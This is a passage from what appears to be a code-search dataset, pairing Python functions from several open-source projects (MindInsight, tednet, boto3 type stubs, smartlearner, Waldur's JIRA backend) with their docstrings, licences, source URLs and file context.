act_list): if len(act_list) > 0: return self.actions(sc_pb.RequestAction(actions=act_list)) @valid_status(Status.in_game, Status.ended) @sw.decorate def leave(self): return self._client.send(leave_game=sc_pb.RequestLeaveGame()) @valid_status(Status.in_game, Status.ended) @sw.decorate def save_replay(self): res = self._client.send(save_replay=sc_pb.RequestSaveReplay()) return res.data @skip_status(Status.quit) @sw.decorate
Apache License 2.0
mindspore-ai/mindinsight
mindinsight/explainer/manager/explain_loader.py
ExplainLoader._import_metadata_from_event
python
def _import_metadata_from_event(self, metadata_event): def take_union(existed_list, imported_data): if isinstance(imported_data, Iterable): for sample in imported_data: if sample not in existed_list: existed_list.append(sample) take_union(self._metadata['explainers'], metadata_event.explain_method) take_union(self._metadata['metrics'], metadata_event.benchmark_method) take_union(self._metadata['labels'], metadata_event.label)
Import the metadata from event into loader.
https://github.com/mindspore-ai/mindinsight/blob/253a210719dbb1e55b826f2e489322f402d66676/mindinsight/explainer/manager/explain_loader.py#L371-L383
import math import os import re import threading from collections import defaultdict from datetime import datetime from enum import Enum from typing import Dict, Iterable, List, Optional, Union from mindinsight.datavisual.common.exceptions import TrainJobNotExistError from mindinsight.datavisual.data_access.file_handler import FileHandler from mindinsight.explainer.common.enums import ExplainFieldsEnum from mindinsight.explainer.common.log import logger from mindinsight.explainer.manager.explain_parser import ExplainParser from mindinsight.utils.exceptions import ParamValueError, UnknownError _NAN_CONSTANT = 'NaN' _NUM_DIGITS = 6 _EXPLAIN_FIELD_NAMES = [ ExplainFieldsEnum.SAMPLE_ID, ExplainFieldsEnum.BENCHMARK, ExplainFieldsEnum.METADATA, ] _SAMPLE_FIELD_NAMES = [ ExplainFieldsEnum.GROUND_TRUTH_LABEL, ExplainFieldsEnum.INFERENCE, ExplainFieldsEnum.EXPLANATION, ExplainFieldsEnum.HIERARCHICAL_OCCLUSION ] class _LoaderStatus(Enum): STOP = 'STOP' LOADING = 'LOADING' PENDING = 'PENDING' LOADED = 'LOADED' def _round(score): try: return round(score, _NUM_DIGITS) except TypeError: return score class ExplainLoader: def __init__(self, loader_id: str, summary_dir: str): self._parser = ExplainParser(summary_dir) self._loader_info = { 'loader_id': loader_id, 'summary_dir': summary_dir, 'create_time': os.stat(summary_dir).st_ctime, 'update_time': os.stat(summary_dir).st_mtime, 'query_time': os.stat(summary_dir).st_ctime, 'uncertainty_enabled': False, } self._samples = defaultdict(dict) self._metadata = {'explainers': [], 'metrics': [], 'labels': [], 'min_confidence': 0.5} self._benchmark = {'explainer_score': defaultdict(dict), 'label_score': defaultdict(dict)} self._status = _LoaderStatus.PENDING.value self._status_mutex = threading.Lock() @property def all_classes(self) -> List[Dict]: sample_count_per_label = defaultdict(int) saliency_count_per_label = defaultdict(int) hoc_count_per_label = defaultdict(int) for sample in self._samples.values(): if sample.get('image') and (sample.get('ground_truth_label') or sample.get('predicted_label')): for label in set(sample['ground_truth_label'] + sample['predicted_label']): sample_count_per_label[label] += 1 if sample['inferences'][label]['saliency_maps']: saliency_count_per_label[label] += 1 if sample['inferences'][label]['hoc_layers']: hoc_count_per_label[label] += 1 all_classes_return = [{'id': label_id, 'label': label_name, 'sample_count': sample_count_per_label[label_id], 'saliency_sample_count': saliency_count_per_label[label_id], 'hoc_sample_count': hoc_count_per_label[label_id]} for label_id, label_name in enumerate(self._metadata['labels'])] return all_classes_return @property def query_time(self) -> float: return self._loader_info['query_time'] @query_time.setter def query_time(self, new_time: Union[datetime, float]): if isinstance(new_time, datetime): self._loader_info['query_time'] = new_time.timestamp() elif isinstance(new_time, float): self._loader_info['query_time'] = new_time else: raise TypeError('new_time should have type of datetime.datetime or float, but receive {}' .format(type(new_time))) @property def create_time(self) -> float: return self._loader_info['create_time'] @create_time.setter def create_time(self, new_time: Union[datetime, float]): if isinstance(new_time, datetime): self._loader_info['create_time'] = new_time.timestamp() elif isinstance(new_time, float): self._loader_info['create_time'] = new_time else: raise TypeError('new_time should have type of datetime.datetime or float, but receive {}' .format(type(new_time))) @property def explainers(self) -> List[str]: return self._metadata['explainers'] @property def explainer_scores(self) -> List[Dict]: explainer_scores = [] for explainer, explainer_score_on_metric in self._benchmark['explainer_score'].copy().items(): metric_scores = [{'metric': metric, 'score': _round(score)} for metric, score in explainer_score_on_metric.items()] label_scores = [] for label, label_score_on_metric in self._benchmark['label_score'][explainer].copy().items(): score_of_single_label = { 'label': self._metadata['labels'][label], 'evaluations': [ {'metric': metric, 'score': _round(score)} for metric, score in label_score_on_metric.items() ], } label_scores.append(score_of_single_label) explainer_scores.append({ 'explainer': explainer, 'evaluations': metric_scores, 'class_scores': label_scores, }) return explainer_scores @property def labels(self) -> List[str]: return self._metadata['labels'] @property def metrics(self) -> List[str]: return self._metadata['metrics'] @property def min_confidence(self) -> Optional[float]: return self._metadata['min_confidence'] @property def sample_count(self) -> int: sample_count = 0 for sample in self._samples.values(): if sample.get('image', False): sample_count += 1 return sample_count @property def samples(self) -> List[Dict]: return self._samples @property def train_id(self) -> str: return self._loader_info['loader_id'] @property def uncertainty_enabled(self): return self._loader_info['uncertainty_enabled'] @property def update_time(self) -> float: return self._loader_info['update_time'] @update_time.setter def update_time(self, new_time: Union[datetime, float]): if isinstance(new_time, datetime): self._loader_info['update_time'] = new_time.timestamp() elif isinstance(new_time, float): self._loader_info['update_time'] = new_time else: raise TypeError('new_time should have type of datetime.datetime or float, but receive {}' .format(type(new_time))) def load(self): if self.status != _LoaderStatus.LOADED.value: self.status = _LoaderStatus.LOADING.value filenames = [] for filename in FileHandler.list_dir(self._loader_info['summary_dir']): if FileHandler.is_file(FileHandler.join(self._loader_info['summary_dir'], filename)): filenames.append(filename) filenames = ExplainLoader._filter_files(filenames) if not filenames: raise TrainJobNotExistError('No summary file found in %s, explain job will be delete.' % self._loader_info['summary_dir']) is_end = False while not is_end and self.status != _LoaderStatus.STOP.value: try: file_changed, is_end, event_dict = self._parser.list_events(filenames) except UnknownError: is_end = True break if file_changed: logger.info('Summary file in %s update, reload the data in the summary.', self._loader_info['summary_dir']) self._clear_job() if self.status != _LoaderStatus.STOP.value: self.status = _LoaderStatus.LOADING.value if event_dict: self._import_data_from_event(event_dict) self._reform_sample_info() if is_end: self.status = _LoaderStatus.LOADED.value @property def status(self): with self._status_mutex: return self._status @status.setter def status(self, status): with self._status_mutex: self._status = status def stop(self): self.status = _LoaderStatus.STOP.value def get_all_samples(self) -> List[Dict]: returned_samples = [{'id': sample_id, 'name': info['name'], 'image': info['image'], 'inferences': list(info['inferences'].values())} for sample_id, info in self._samples.items() if info.get('image', False)] return returned_samples def _import_data_from_event(self, event_dict: Dict): if 'metadata' not in event_dict and self._is_metadata_empty(): raise ParamValueError('metadata is incomplete, should write metadata first in the summary.') for tag, event in event_dict.items(): if tag == ExplainFieldsEnum.METADATA.value: self._import_metadata_from_event(event.metadata) elif tag == ExplainFieldsEnum.BENCHMARK.value: self._import_benchmark_from_event(event.benchmark) elif tag == ExplainFieldsEnum.SAMPLE_ID.value: self._import_sample_from_event(event) else: logger.info('Unknown ExplainField: %s.', tag) def _is_metadata_empty(self): if not self._metadata['labels']: return True return False
Apache License 2.0
tnbar/tednet
tednet/tnn/tensor_ring/base.py
TRLinear.__init__
python
def __init__(self, in_shape: Union[list, np.ndarray], out_shape: Union[list, np.ndarray], ranks: Union[list, np.ndarray], bias: bool = True): super(TRLinear, self).__init__(in_shape=in_shape, out_shape=out_shape, ranks=ranks, bias=bias) self.reset_parameters()
The Tensor Ring Decomposition Linear. Parameters ---------- in_shape : Union[list, numpy.ndarray] 1-D param :math:`\in \mathbb{R}^m`. The decomposition shape of feature in out_shape : Union[list, numpy.ndarray] 1-D param :math:`\in \mathbb{R}^n`. The decomposition shape of feature out ranks : Union[list, numpy.ndarray] 1-D param :math:`\in \mathbb{R}^{m+n}`. The ranks of linear bias : bool use bias of linear or not. ``True`` to use, and ``False`` to not use
https://github.com/tnbar/tednet/blob/fe2c531ab9c388284b4ebc22edcc53df147a3a1f/tednet/tnn/tensor_ring/base.py#L197-L214
import math from typing import Union import torch import torch.nn as nn from torch.nn import functional as F import numpy as np from ..tn_cnn import _TNConvNd from ..tn_linear import _TNLinear class TRConv2D(_TNConvNd): def __init__(self, in_shape: Union[list, np.ndarray], out_shape: Union[list, np.ndarray], ranks: Union[list, np.ndarray], kernel_size: Union[int, tuple], stride=1, padding=0, bias=True): super(TRConv2D, self).__init__(in_shape=in_shape, out_shape=out_shape, ranks=ranks, kernel_size=kernel_size, stride=stride, padding=padding, bias=bias) self.reset_parameters() def set_tn_type(self): self.tn_info["type"] = "tr" def set_nodes(self): self.in_num = len(self.in_shape) self.out_num = len(self.out_shape) self.nodes_num = self.in_num + self.out_num self.ranks_fill = np.append(self.ranks, self.ranks[0]) assert self.nodes_num + 1 == len(self.ranks), "The number of ranks is not suitable." nodes_info = [] for i in range(self.nodes_num): if i < self.in_num: left_rank = self.ranks_fill[i] right_rank = self.ranks_fill[i + 1] middle_rank = self.in_shape[i] node_info = dict( name="in_node%d" % i, shape=(left_rank, middle_rank, right_rank) ) else: out_i = i - self.in_num left_rank = self.ranks_fill[i + 1] right_rank = self.ranks_fill[i + 2] middle_rank = self.out_shape[out_i] node_info = dict( name="out_node%d" % out_i, shape=(left_rank, middle_rank, right_rank) ) node = nn.Parameter(torch.Tensor(*node_info["shape"])) self.register_parameter(node_info["name"], node) nodes_info.append(node_info) self.kernel_cin = self.ranks_fill[self.in_num] self.kernel_cout = self.ranks_fill[self.in_num + 1] self.kernel = nn.Conv2d(self.kernel_cin, self.kernel_cout, self.kernel_size, self.stride, self.padding, bias=False) self.tn_info["nodes"] = nodes_info def set_params_info(self): params_ori = self.in_size * self.out_size * np.prod(self.kernel_size) params_in = np.sum(self.ranks_fill[:self.in_num] * self.in_shape * self.ranks_fill[1:(self.in_num+1)]) params_kernel = np.prod(self.kernel_size) * self.kernel_cin * self.kernel_cout params_out = np.sum(self.ranks_fill[(self.in_num+1):-1] * self.out_shape * self.ranks_fill[(self.in_num+2):]) params_tr = params_in + params_kernel + params_out compression_ration = params_ori / params_tr self.tn_info["t_params"] = params_tr self.tn_info["ori_params"] = params_ori self.tn_info["cr"] = compression_ration print("compression_ration is: ", compression_ration) def reset_parameters(self): node_vars = [] for i in range(self.in_num): if i == 0: node_vars.append(1./self.in_size) else: node_vars.append(1./self.ranks_fill[i]) for i in range(self.out_num): if i == 0: node_vars.append(1./(self.ranks_fill[0]*self.ranks_fill[self.in_num + 1])) else: node_vars.append(1./self.ranks_fill[self.in_num + 1]) conv_node_var = 2./(self.kernel_size[0]*self.kernel_size[1]*self.ranks_fill[self.in_num]) std = math.pow(math.sqrt(np.prod(node_vars)*conv_node_var), 1./(self.nodes_num + 1)) for i in range(self.in_num): nn.init.normal_(getattr(self, "in_node%d" % i), std=std) for i in range(self.out_num): nn.init.normal_(getattr(self, "out_node%d" % i), std=std) nn.init.normal_(self.kernel.weight.data, std=std) if self.bias is not None: nn.init.zeros_(self.bias) def tn_contract(self, inputs: torch.Tensor)->torch.Tensor: batch_size = inputs.shape[0] image_hw = inputs.shape[2:] res = inputs.view(batch_size, *self.in_shape, *image_hw) I_in = getattr(self, "in_node0") for i in range(1, self.in_num): weight_tmp = getattr(self, "in_node%d" % i) I_in = torch.tensordot(I_in, weight_tmp, dims=([-1], [0])) in_positions = list(range(1, self.in_num+1)) res = torch.tensordot(res, I_in, dims=(in_positions, in_positions)) res = res.permute(0, 3, 4, 1, 2).contiguous() res = res.reshape(-1, self.ranks_fill[self.in_num], *image_hw) res = self.kernel(res) image_new_hw = res.shape[2:] res = res.reshape(batch_size, self.ranks_fill[0], self.ranks_fill[self.in_num + 1], -1) O_out = getattr(self, "out_node0") for i in range(1, self.out_num): weight_tmp = getattr(self, "out_node%d" % i) O_out = torch.tensordot(O_out, weight_tmp, dims=([-1], [0])) res = torch.tensordot(res, O_out, dims=([1, 2], [-1, 0])) res = res.reshape(batch_size, *image_new_hw, self.out_size) return res def recover(self): pass class TRLinear(_TNLinear):
MIT License
alliefitter/boto3_type_annotations
boto3_type_annotations_with_docs/boto3_type_annotations/machinelearning/client.py
Client.delete_ml_model
python
def delete_ml_model(self, MLModelId: str) -> Dict: pass
Assigns the ``DELETED`` status to an ``MLModel`` , rendering it unusable. After using the ``DeleteMLModel`` operation, you can use the ``GetMLModel`` operation to verify that the status of the ``MLModel`` changed to DELETED. **Caution:** The result of the ``DeleteMLModel`` operation is irreversible. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/machinelearning-2014-12-12/DeleteMLModel>`_ **Request Syntax** :: response = client.delete_ml_model( MLModelId='string' ) **Response Syntax** :: { 'MLModelId': 'string' } **Response Structure** - *(dict) --* Represents the output of a ``DeleteMLModel`` operation. You can use the ``GetMLModel`` operation and check the value of the ``Status`` parameter to see whether an ``MLModel`` is marked as ``DELETED`` . - **MLModelId** *(string) --* A user-supplied ID that uniquely identifies the ``MLModel`` . This value should be identical to the value of the ``MLModelID`` in the request. :type MLModelId: string :param MLModelId: **[REQUIRED]** A user-supplied ID that uniquely identifies the ``MLModel`` . :rtype: dict :returns:
https://github.com/alliefitter/boto3_type_annotations/blob/2a88aa562b1aee6e8a6cc30402980884b3707fbb/boto3_type_annotations_with_docs/boto3_type_annotations/machinelearning/client.py#L726-L757
from typing import Optional from botocore.client import BaseClient from typing import Dict from botocore.paginate import Paginator from botocore.waiter import Waiter from typing import Union from typing import List class Client(BaseClient): def add_tags(self, Tags: List, ResourceId: str, ResourceType: str) -> Dict: pass def can_paginate(self, operation_name: str = None): pass def create_batch_prediction(self, BatchPredictionId: str, MLModelId: str, BatchPredictionDataSourceId: str, OutputUri: str, BatchPredictionName: str = None) -> Dict: pass def create_data_source_from_rds(self, DataSourceId: str, RDSData: Dict, RoleARN: str, DataSourceName: str = None, ComputeStatistics: bool = None) -> Dict: pass def create_data_source_from_redshift(self, DataSourceId: str, DataSpec: Dict, RoleARN: str, DataSourceName: str = None, ComputeStatistics: bool = None) -> Dict: pass def create_data_source_from_s3(self, DataSourceId: str, DataSpec: Dict, DataSourceName: str = None, ComputeStatistics: bool = None) -> Dict: pass def create_evaluation(self, EvaluationId: str, MLModelId: str, EvaluationDataSourceId: str, EvaluationName: str = None) -> Dict: pass def create_ml_model(self, MLModelId: str, MLModelType: str, TrainingDataSourceId: str, MLModelName: str = None, Parameters: Dict = None, Recipe: str = None, RecipeUri: str = None) -> Dict: pass def create_realtime_endpoint(self, MLModelId: str) -> Dict: pass def delete_batch_prediction(self, BatchPredictionId: str) -> Dict: pass def delete_data_source(self, DataSourceId: str) -> Dict: pass def delete_evaluation(self, EvaluationId: str) -> Dict: pass
MIT License
smart-lab/smartlearner
smartlearner/optimizers/adadelta.py
Adadelta.__init__
python
def __init__(self, loss, decay=0.95, epsilon=1e-6): super().__init__(loss) if decay <= 0 or decay > 1: raise ValueError("Adadelta's decay must be in (0,1].") self.dc = decay self.eps = epsilon self._updates = OrderedDict() self.mean_squared_grads = [] self.mean_squared_dxs = []
Implements the Adadelta optimizer. The implementation details are available in [Zeiler12]_. Parameters ---------- loss : `Loss` The value (a theano computation graph) to optimize. decay : float, optional Decay rate (related to the window of the moving average). epsilon : float, optional Used to prevent a division by zero in early iterations. References ---------- .. [Zeiler12] Matthew D. Zeiler "AdaDelta: An Adaptive Learning Rate Method", http://arxiv.org/abs/1212.5701, 2012
https://github.com/smart-lab/smartlearner/blob/0afdcd3b38dddfee16330b8324eb3b0e224f1c2b/smartlearner/optimizers/adadelta.py#L11-L39
import numpy as np from collections import OrderedDict import theano.tensor as T from ..interfaces import Optimizer from ..utils import sharedX class Adadelta(Optimizer):
BSD 3-Clause New or Revised License
opennode/waldur-mastermind
src/waldur_jira/backend.py
AttachmentSynchronizer._download_file
python
def _download_file(self, url): session = self.backend.manager._session response = session.get(url) response.raise_for_status() return BytesIO(response.content)
Download file from URL using secure JIRA session. :return: byte stream :raises: requests.RequestException
https://github.com/opennode/waldur-mastermind/blob/1efd86ef417a736a88501c58faafd7d75950aac1/src/waldur_jira/backend.py#L827-L836
import functools import logging from io import BytesIO from django.conf import settings from django.db import IntegrityError, transaction from django.utils import timezone from django.utils.dateparse import parse_datetime from django.utils.functional import cached_property from jira.client import _get_template_list from jira.utils import json_loads from rest_framework import status from waldur_core.core.models import StateMixin from waldur_core.structure.backend import ServiceBackend from waldur_core.structure.exceptions import ServiceBackendError from waldur_core.structure.utils import update_pulled_fields from . import models from .jira_fix import JIRA, JIRAError logger = logging.getLogger(__name__) class JiraBackendError(ServiceBackendError): pass def check_captcha(e): if e.response is None: return False if not hasattr(e.response, 'headers'): return False if 'X-Seraph-LoginReason' not in e.response.headers: return False return e.response.headers['X-Seraph-LoginReason'] == 'AUTHENTICATED_FAILED' def reraise_exceptions(func): @functools.wraps(func) def wrapped(self, *args, **kwargs): try: return func(self, *args, **kwargs) except JIRAError as e: raise JiraBackendError(e) return wrapped class JiraBackend(ServiceBackend): model_comment = models.Comment model_issue = models.Issue model_attachment = models.Attachment model_project = models.Project def __init__(self, settings, project=None, verify=False): self.settings = settings self.project = project self.verify = verify def pull_service_properties(self): self.pull_project_templates() self.pull_priorities() def ping(self, raise_exception=False): try: self.manager.myself() except JIRAError as e: if raise_exception: raise JiraBackendError(e) return False else: return True @staticmethod def convert_field(value, choices, mapping=None): if mapping: mapping = {v: k for k, v in mapping.items()} value = mapping.get(value, value) try: return next(k for k, v in choices if v == value) except StopIteration: return 0 @cached_property def manager(self): if self.settings.token: if getattr(self.settings, 'email', None): basic_auth = (self.settings.email, self.settings.token) else: basic_auth = (self.settings.username, self.settings.token) else: basic_auth = (self.settings.username, self.settings.password) try: return JIRA( server=self.settings.backend_url, options={'verify': self.verify}, basic_auth=basic_auth, validate=False, ) except JIRAError as e: if check_captcha(e): raise JiraBackendError( 'JIRA CAPTCHA is triggered. Please reset credentials.' ) raise JiraBackendError(e) @reraise_exceptions def get_field_id_by_name(self, field_name): if not field_name: return None try: fields = getattr(self, '_fields') except AttributeError: fields = self._fields = self.manager.fields() try: return next(f['id'] for f in fields if field_name in f['clauseNames']) except StopIteration: raise JiraBackendError("Can't find custom field %s" % field_name) @reraise_exceptions def get_project_templates(self): url = ( self.manager._options['server'] + '/rest/project-templates/latest/templates' ) response = self.manager._session.get(url) json_data = json_loads(response) return _get_template_list(json_data) @reraise_exceptions def pull_project_templates(self): backend_templates = self.get_project_templates() with transaction.atomic(): for template in backend_templates: backend_id = template['projectTemplateModuleCompleteKey'] icon_url = self.manager._options['server'] + template['iconUrl'] models.ProjectTemplate.objects.update_or_create( backend_id=backend_id, defaults={ 'name': template['name'], 'description': template['description'], 'icon_url': icon_url, }, ) @reraise_exceptions def pull_priorities(self): backend_priorities = self.manager.priorities() with transaction.atomic(): backend_priorities_map = { priority.id: priority for priority in backend_priorities } waldur_priorities = { priority.backend_id: priority for priority in models.Priority.objects.filter(settings=self.settings) } stale_priorities = set(waldur_priorities.keys()) - set( backend_priorities_map.keys() ) models.Priority.objects.filter(backend_id__in=stale_priorities) for priority in backend_priorities: models.Priority.objects.update_or_create( backend_id=priority.id, settings=self.settings, defaults={ 'name': priority.name, 'description': priority.description, 'icon_url': priority.iconUrl, }, ) @reraise_exceptions def import_priority(self, priority): return models.Priority( backend_id=priority.id, settings=self.settings, name=priority.name, description=getattr(property, 'description', ''), icon_url=priority.iconUrl, ) @reraise_exceptions def get_project(self, project_id): return self.manager.project(project_id) @cached_property def default_assignee(self): user = self.manager.myself() return user['name'] @reraise_exceptions def create_project(self, project): self.manager.create_project( key=project.backend_id, name=project.name, assignee=self.default_assignee, template_name=project.template.name, ) self.pull_issue_types(project) def pull_issue_types(self, project): backend_project = self.get_project(project.backend_id) backend_issue_types = { issue_type.id: issue_type for issue_type in backend_project.issueTypes } project_issue_types = { issue_type.backend_id: issue_type for issue_type in project.issue_types.all() } global_issue_types = { issue_type.backend_id: issue_type for issue_type in models.IssueType.objects.filter(settings=self.settings) } new_issue_types = set(backend_issue_types.keys()) - set( project_issue_types.keys() ) for issue_type_id in new_issue_types: if issue_type_id in global_issue_types: issue_type = global_issue_types[issue_type_id] else: issue_type = self.import_issue_type(backend_issue_types[issue_type_id]) issue_type.save() project.issue_types.add(issue_type) stale_issue_types = set(project_issue_types.keys()) - set( backend_issue_types.keys() ) project.issue_types.filter(backend_id__in=stale_issue_types).delete() common_issue_types = set(project_issue_types.keys()) & set( backend_issue_types.keys() ) for issue_type_id in common_issue_types: issue_type = project_issue_types[issue_type_id] imported_issue_type = self.import_issue_type( backend_issue_types[issue_type_id] ) update_pulled_fields( issue_type, imported_issue_type, ('name', 'description', 'icon_url', 'subtask'), ) def import_issue_type(self, backend_issue_type): return models.IssueType( settings=self.settings, backend_id=backend_issue_type.id, name=backend_issue_type.name, description=backend_issue_type.description, icon_url=backend_issue_type.iconUrl, subtask=backend_issue_type.subtask, ) @reraise_exceptions def update_project(self, project): backend_project = self.manager.project(project.backend_id) backend_project.update(name=project.name) @reraise_exceptions def delete_project(self, project): self.manager.delete_project(project.backend_id) @reraise_exceptions def create_issue(self, issue): args = self._issue_to_dict(issue) backend_issue = self.manager.create_issue(**args) self._backend_issue_to_issue(backend_issue, issue) issue.save() def create_issue_from_jira(self, project, key): backend_issue = self.get_backend_issue(key) if not backend_issue: logger.debug( 'Unable to create issue with key=%s, ' 'because it has already been deleted on backend.', key, ) return issue = self.model_issue( project=project, backend_id=key, state=StateMixin.States.OK ) self._backend_issue_to_issue(backend_issue, issue) try: issue.save() except IntegrityError: logger.debug( 'Unable to create issue with key=%s, ' 'because it has been created in another thread.', key, ) def update_issue(self, issue): backend_issue = self.get_backend_issue(issue.backend_id) if not backend_issue: logger.debug( 'Unable to update issue with key=%s, ' 'because it has already been deleted on backend.', issue.backend_id, ) return backend_issue.update(summary=issue.summary, description=issue.get_description()) def update_issue_from_jira(self, issue): start_time = timezone.now() backend_issue = self.get_backend_issue(issue.backend_id) if not backend_issue: logger.debug( 'Unable to update issue with key=%s, ' 'because it has already been deleted on backend.', issue.backend_id, ) return issue.refresh_from_db() if issue.modified > start_time: logger.debug( 'Skipping issue update with key=%s, ' 'because it has been updated from other thread.', issue.backend_id, ) return self._backend_issue_to_issue(backend_issue, issue) issue.save() def delete_issue(self, issue): backend_issue = self.get_backend_issue(issue.backend_id) if backend_issue: backend_issue.delete() else: logger.debug( 'Unable to delete issue with key=%s, ' 'because it has already been deleted on backend.', issue.backend_id, ) def delete_issue_from_jira(self, issue): backend_issue = self.get_backend_issue(issue.backend_id) if not backend_issue: issue.delete() else: logger.debug( 'Skipping issue deletion with key=%s, ' 'because it still exists on backend.', issue.backend_id, ) @reraise_exceptions def create_comment(self, comment): backend_comment = self.manager.add_comment( comment.issue.backend_id, comment.prepare_message() ) comment.backend_id = backend_comment.id comment.save(update_fields=['backend_id']) def create_comment_from_jira(self, issue, comment_backend_id): backend_comment = self.get_backend_comment(issue.backend_id, comment_backend_id) if not backend_comment: logger.debug( 'Unable to create comment with id=%s, ' 'because it has already been deleted on backend.', comment_backend_id, ) return comment = self.model_comment( issue=issue, backend_id=comment_backend_id, state=StateMixin.States.OK ) self._backend_comment_to_comment(backend_comment, comment) try: comment.save() except IntegrityError: logger.debug( 'Unable to create comment issue_id=%s, backend_id=%s, ' 'because it already exists n Waldur.', issue.id, comment_backend_id, ) def update_comment(self, comment): backend_comment = self.get_backend_comment( comment.issue.backend_id, comment.backend_id ) if not backend_comment: logger.debug( 'Unable to update comment with id=%s, ' 'because it has already been deleted on backend.', comment.id, ) return backend_comment.update(body=comment.prepare_message()) def update_comment_from_jira(self, comment): backend_comment = self.get_backend_comment( comment.issue.backend_id, comment.backend_id ) if not backend_comment: logger.debug( 'Unable to update comment with id=%s, ' 'because it has already been deleted on backend.', comment.id, ) return comment.state = StateMixin.States.OK self._backend_comment_to_comment(backend_comment, comment) comment.save() @reraise_exceptions def delete_comment(self, comment): backend_comment = self.get_backend_comment( comment.issue.backend_id, comment.backend_id ) if backend_comment: backend_comment.delete() else: logger.debug( 'Unable to delete comment with id=%s, ' 'because it has already been deleted on backend.', comment.id, ) def delete_comment_from_jira(self, comment): backend_comment = self.get_backend_comment( comment.issue.backend_id, comment.backend_id ) if not backend_comment: comment.delete() else: logger.debug( 'Skipping comment deletion with id=%s, ' 'because it still exists on backend.', comment.id, ) @reraise_exceptions def create_attachment(self, attachment): backend_issue = self.get_backend_issue(attachment.issue.backend_id) if not backend_issue: logger.debug( 'Unable to add attachment to issue with id=%s, ' 'because it has already been deleted on backend.', attachment.issue.id, ) return backend_attachment = self.manager.waldur_add_attachment( backend_issue, attachment.file ) attachment.backend_id = backend_attachment.id attachment.mime_type = getattr(backend_attachment, 'mimeType', '') attachment.file_size = backend_attachment.size attachment.save(update_fields=['backend_id', 'mime_type', 'file_size']) @reraise_exceptions def delete_attachment(self, attachment): backend_attachment = self.get_backend_attachment(attachment.backend_id) if backend_attachment: backend_attachment.delete() else: logger.debug( 'Unable to remove attachment with id=%s, ' 'because it has already been deleted on backend.', attachment.id, ) @reraise_exceptions def import_project_issues(self, project, start_at=0, max_results=50, order=None): waldur_issues = list( self.model_issue.objects.filter( project=project, backend_id__isnull=False ).values_list('backend_id', flat=True) ) jql = 'project=%s' % project.backend_id if order: jql += ' ORDER BY %s' % order for backend_issue in self.manager.search_issues( jql, startAt=start_at, maxResults=max_results, fields='*all' ): key = backend_issue.key if key in waldur_issues: logger.debug( 'Skipping import of issue with key=%s, ' 'because it already exists in Waldur.', key, ) continue issue = self.model_issue( project=project, backend_id=key, state=StateMixin.States.OK ) self._backend_issue_to_issue(backend_issue, issue) issue.save() attachment_synchronizer = AttachmentSynchronizer(self, issue, backend_issue) attachment_synchronizer.perform_update() for backend_comment in backend_issue.fields.comment.comments: tmp = issue.comments.model() tmp.clean_message(backend_comment.body) issue.comments.create( user=tmp.user, message=tmp.message, created=parse_datetime(backend_comment.created), backend_id=backend_comment.id, state=issue.comments.model.States.OK, ) def _import_project(self, project_backend_id, waldur_project, state): backend_project = self.get_project(project_backend_id) project = self.model_project( service_settings=self.settings, project=waldur_project, backend_id=project_backend_id, state=state, ) self._backend_project_to_project(backend_project, project) project.save() return project def import_project(self, project_backend_id, waldur_project): project = self._import_project( project_backend_id, waldur_project, models.Project.States.OK, ) self.import_project_issues(project) return project def import_project_scheduled(self, project_backend_id, waldur_project): project = self._import_project( project_backend_id, waldur_project, models.Project.States.OK, ) return project def import_project_batch(self, project): max_results = settings.WALDUR_JIRA.get('ISSUE_IMPORT_LIMIT') start_at = project.action_details.get('current_issue', 0) self.import_project_issues( project, order='id', start_at=start_at, max_results=max_results ) total_added = project.action_details.get('current_issue', 0) + max_results if total_added >= project.action_details.get('issues_count', 0): project.action_details['current_issue'] = project.action_details.get( 'issues_count', 0 ) project.action_details['percentage'] = 100 project.runtime_state = 'success' else: project.action_details['current_issue'] = total_added project.action_details['percentage'] = int( ( project.action_details['current_issue'] / project.action_details['issues_count'] ) * 100 ) project.save() return max_results def get_backend_comment(self, issue_backend_id, comment_backend_id): return self._get_backend_obj('comment')(issue_backend_id, comment_backend_id) def get_backend_issue(self, issue_backend_id): return self._get_backend_obj('issue')(issue_backend_id) def get_backend_attachment(self, attachment_backend_id): return self._get_backend_obj('attachment')(attachment_backend_id) def update_attachment_from_jira(self, issue): backend_issue = self.get_backend_issue(issue.backend_id) AttachmentSynchronizer(self, issue, backend_issue).perform_update() def delete_old_comments(self, issue): backend_issue = self.get_backend_issue(issue.backend_id) CommentSynchronizer(self, issue, backend_issue).perform_update() @reraise_exceptions def _get_backend_obj(self, method): def f(*args, **kwargs): try: func = getattr(self.manager, method) backend_obj = func(*args, **kwargs) except JIRAError as e: if e.status_code == status.HTTP_404_NOT_FOUND: logger.debug( 'Jira object {} has been already deleted on backend'.format( method ) ) return else: raise e return backend_obj return f def _backend_issue_to_issue(self, backend_issue, issue): priority = self._get_or_create_priority( issue.project, backend_issue.fields.priority ) issue_type = self._get_or_create_issue_type( issue.project, backend_issue.fields.issuetype ) resolution_sla = self._get_resolution_sla(backend_issue) for obj in ['assignee', 'creator', 'reporter']: backend_obj = getattr(backend_issue.fields, obj, None) fields = [ ['name', 'displayName'], ['username', 'name'], ['email', 'emailAddress'], ] for waldur_key, backend_key in fields: value = getattr(backend_obj, backend_key, '') setattr(issue, obj + '_' + waldur_key, value) issue.priority = priority issue.summary = backend_issue.fields.summary issue.description = backend_issue.fields.description or '' issue.type = issue_type issue.status = backend_issue.fields.status.name or '' issue.resolution = ( backend_issue.fields.resolution and backend_issue.fields.resolution.name ) or '' issue.resolution_date = backend_issue.fields.resolutiondate issue.resolution_sla = resolution_sla issue.backend_id = backend_issue.key def _backend_comment_to_comment(self, backend_comment, comment): comment.update_message(backend_comment.body) def _backend_attachment_to_attachment(self, backend_attachment, attachment): pass def _backend_project_to_project(self, backend_project, project): project.name = backend_project.name project.description = backend_project.description def _get_or_create_priority(self, project, backend_priority): try: priority = models.Priority.objects.get( settings=project.service_settings, backend_id=backend_priority.id, ) except models.Priority.DoesNotExist: priority = self.import_priority(backend_priority) priority.save() return priority def _get_or_create_issue_type(self, project, backend_issue_type): try: issue_type = models.IssueType.objects.get( settings=project.service_settings, backend_id=backend_issue_type.id, ) except models.IssueType.DoesNotExist: issue_type = self.import_issue_type(backend_issue_type) issue_type.save() project.issue_types.add(issue_type) return issue_type def _get_resolution_sla(self, backend_issue): issue_settings = settings.WALDUR_JIRA.get('ISSUE') field_name = self.get_field_id_by_name(issue_settings['resolution_sla_field']) value = getattr(backend_issue.fields, field_name, None) if value and hasattr(value, 'ongoingCycle'): milliseconds = value.ongoingCycle.remainingTime.millis if milliseconds: resolution_sla = milliseconds / 1000 else: resolution_sla = None return resolution_sla def 